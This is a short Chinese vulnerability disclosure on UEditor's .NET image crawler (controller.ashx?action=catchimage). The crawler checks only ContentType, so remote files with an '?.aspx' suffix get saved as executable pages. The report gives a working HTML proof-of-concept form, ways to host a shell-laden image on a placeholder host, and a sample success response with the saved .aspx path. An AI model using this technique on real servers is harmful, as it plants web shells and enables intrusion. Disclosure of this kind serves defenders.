## 漏洞简介
1. 发布时间:2018-08-03
2. 公开时间:2018-08-21
3. 漏洞类型:逻辑漏洞
4. 危害等级:高
5. 漏洞编号:xianzhi-2018-08-16052905(不收取 驳回)
6. 测试版本:github最新版
## 漏洞详情
<https://github.com/fex-team/ueditor/blob/dev-1.5.0/net/App_Code/CrawlerHandler.cs>
Crawler方法对source[]的检查仅仅是一个ContentType
```
if (response.ContentType.IndexOf("image") == -1)
{
State = "Url is not an image";
return this;
}
```
并没有检查文件扩展名就直接保存到本地 导致getshell
POC:
```
<form action="http://xx.com/editor/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
<p>shell addr: <input type="text" name="source[]" /></p>
<input type="submit" value="Submit" />
</form>
```
shell addr 可以用<http://www.xxx.com/xxx.jpg?.aspx>的方式使用包含木马的图片(为了使服务器返回的ContentType是image/xxx)
也可以用<http://www.xxxx.com/xxx.php?.aspx>然后在xxx.php中自己设置ContentType
返回如下
> {"state":"SUCCESS","list":[{"state":"SUCCESS","source":"<http://www.xxxx.com//upload/Encyclopedias/201808/03/2018080300550278683.png?.aspx>","url":"/upload/image/201808/03/6366885698033038502306919.aspx"}]}
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